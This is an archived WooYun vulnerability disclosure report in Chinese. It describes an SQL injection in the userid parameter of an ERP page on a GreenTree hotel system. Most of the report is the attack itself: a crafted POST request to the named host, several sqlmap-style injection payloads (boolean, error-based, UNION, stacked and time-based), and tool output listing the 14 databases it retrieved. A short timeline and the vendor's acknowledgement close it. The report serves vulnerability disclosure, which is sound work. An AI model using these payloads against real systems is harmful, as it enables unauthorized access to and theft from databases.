乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-04-05: 细节已通知厂商并且等待厂商处理中 2015-04-07: 厂商已经确认,细节仅向厂商公开 2015-04-17: 细节向核心白帽子及相关领域专家公开 2015-04-27: 细节向普通白帽子公开 2015-05-07: 细节向实习白帽子公开 2015-05-22: 细节向公众公开
格林豪泰某重要系统存在SQL注入涉及14个库
问题处:
POST /op/Module_ERP/UserActive.aspx?userid=1997* HTTP/1.1Host: system.greentree.com.cn:8080User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:36.0) Gecko/20100101 Firefox/36.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3DontTrackMeHere: gzip, deflateReferer: http://system.greentree.com.cn:8080/op/Module_ERP/UserActive.aspx?userid=1997%27X-Forwarded-For: 'Connection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 218__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwULLTE4OTM2NjcwNTBkZIHMoL2SEOkGJ5sSt21NlTiUkV%2B%2B&__EVENTVALIDATION=%2FwEWAwLJ06XnBwKvpuq2CALVo8avDihMEeCxnynpwiepj1kT%2FPDS8syL&username=%A1%AE&Submit1=%BC%A4%BB%EE
该post包提交的地址参数userid存在注入【直接get注入不能成功,要带着post包去跑】
Place: URIParameter: #1* Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: http://system.greentree.com.cn:8080/op/Module_ERP/UserActive.aspx?userid=1997 AND 2338=2338 Type: error-based Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause Payload: http://system.greentree.com.cn:8080/op/Module_ERP/UserActive.aspx?userid=1997 AND 4834=CONVERT(INT,(CHAR(58) CHAR(106) CHAR(103) CHAR(120) CHAR(58) (SELECT (CASE WHEN (4834=4834) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(113) CHAR(119) CHAR(105) CHAR(58))) Type: UNION query Title: Generic UNION query (NULL) - 5 columns Payload: http://system.greentree.com.cn:8080/op/Module_ERP/UserActive.aspx?userid=1997 UNION ALL SELECT CHAR(58) CHAR(106) CHAR(103) CHAR(120) CHAR(58) CHAR(122) CHAR(116) CHAR(100) CHAR(65) CHAR(107) CHAR(117) CHAR(70) CHAR(100) CHAR(84) CHAR(97) CHAR(58) CHAR(113) CHAR(119) CHAR(105) CHAR(58),NULL,NULL,NULL,NULL-- Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries Payload: http://system.greentree.com.cn:8080/op/Module_ERP/UserActive.aspx?userid=1997; WAITFOR DELAY '0:0:5'-- Type: AND/OR time-based blind Title: Microsoft SQL Server/Sybase time-based blind Payload: http://system.greentree.com.cn:8080/op/Module_ERP/UserActive.aspx?userid=1997 WAITFOR DELAY '0:0:5'-- Type: inline query Title: Microsoft SQL Server/Sybase inline queries Payload: http://system.greentree.com.cn:8080/op/Module_ERP/UserActive.aspx?userid=(SELECT CHAR(58) CHAR(106) CHAR(103) CHAR(120) CHAR(58) (SELECT (CASE WHEN (8853=8853) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(113) CHAR(119) CHAR(105) CHAR(58))---[13:39:44] [INFO] testing Microsoft SQL Server[13:39:44] [INFO] confirming Microsoft SQL Server[13:39:44] [INFO] the back-end DBMS is Microsoft SQL Serverweb server operating system: Windowsweb application technology: ASP.NET, ASP.NET 2.0.50727back-end DBMS: Microsoft SQL Server 2008[13:39:44] [INFO] fetching database names[13:39:45] [INFO] the SQL query used returns 14 entries[13:39:45] [INFO] retrieved: "DBA"[13:39:45] [INFO] retrieved: "GreenTree_OP"[13:39:45] [INFO] retrieved: "GTI_QA"[13:39:45] [INFO] retrieved: "kno"[13:39:46] [INFO] retrieved: "kno_qa"[13:39:46] [INFO] retrieved: "kno2"[13:39:46] [INFO] retrieved: "master"[13:39:46] [INFO] retrieved: "model"[13:39:47] [INFO] retrieved: "msdb"[13:39:47] [INFO] retrieved: "myOnlineExam"[13:39:47] [INFO] retrieved: "Northwind"[13:39:47] [INFO] retrieved: "pubs"[13:39:47] [INFO] retrieved: "tempdb"[13:39:48] [INFO] retrieved: "WebSite_Test"available databases [14]:[*] DBA[*] GreenTree_OP[*] GTI_QA[*] kno[*] kno2[*] kno_qa[*] master[*] model[*] msdb[*] myOnlineExam[*] Northwind[*] pubs[*] tempdb[*] WebSite_Test
RT
危害等级:高
漏洞Rank:15
确认时间:2015-04-07 11:34
已联系相关人员处理,感谢
暂无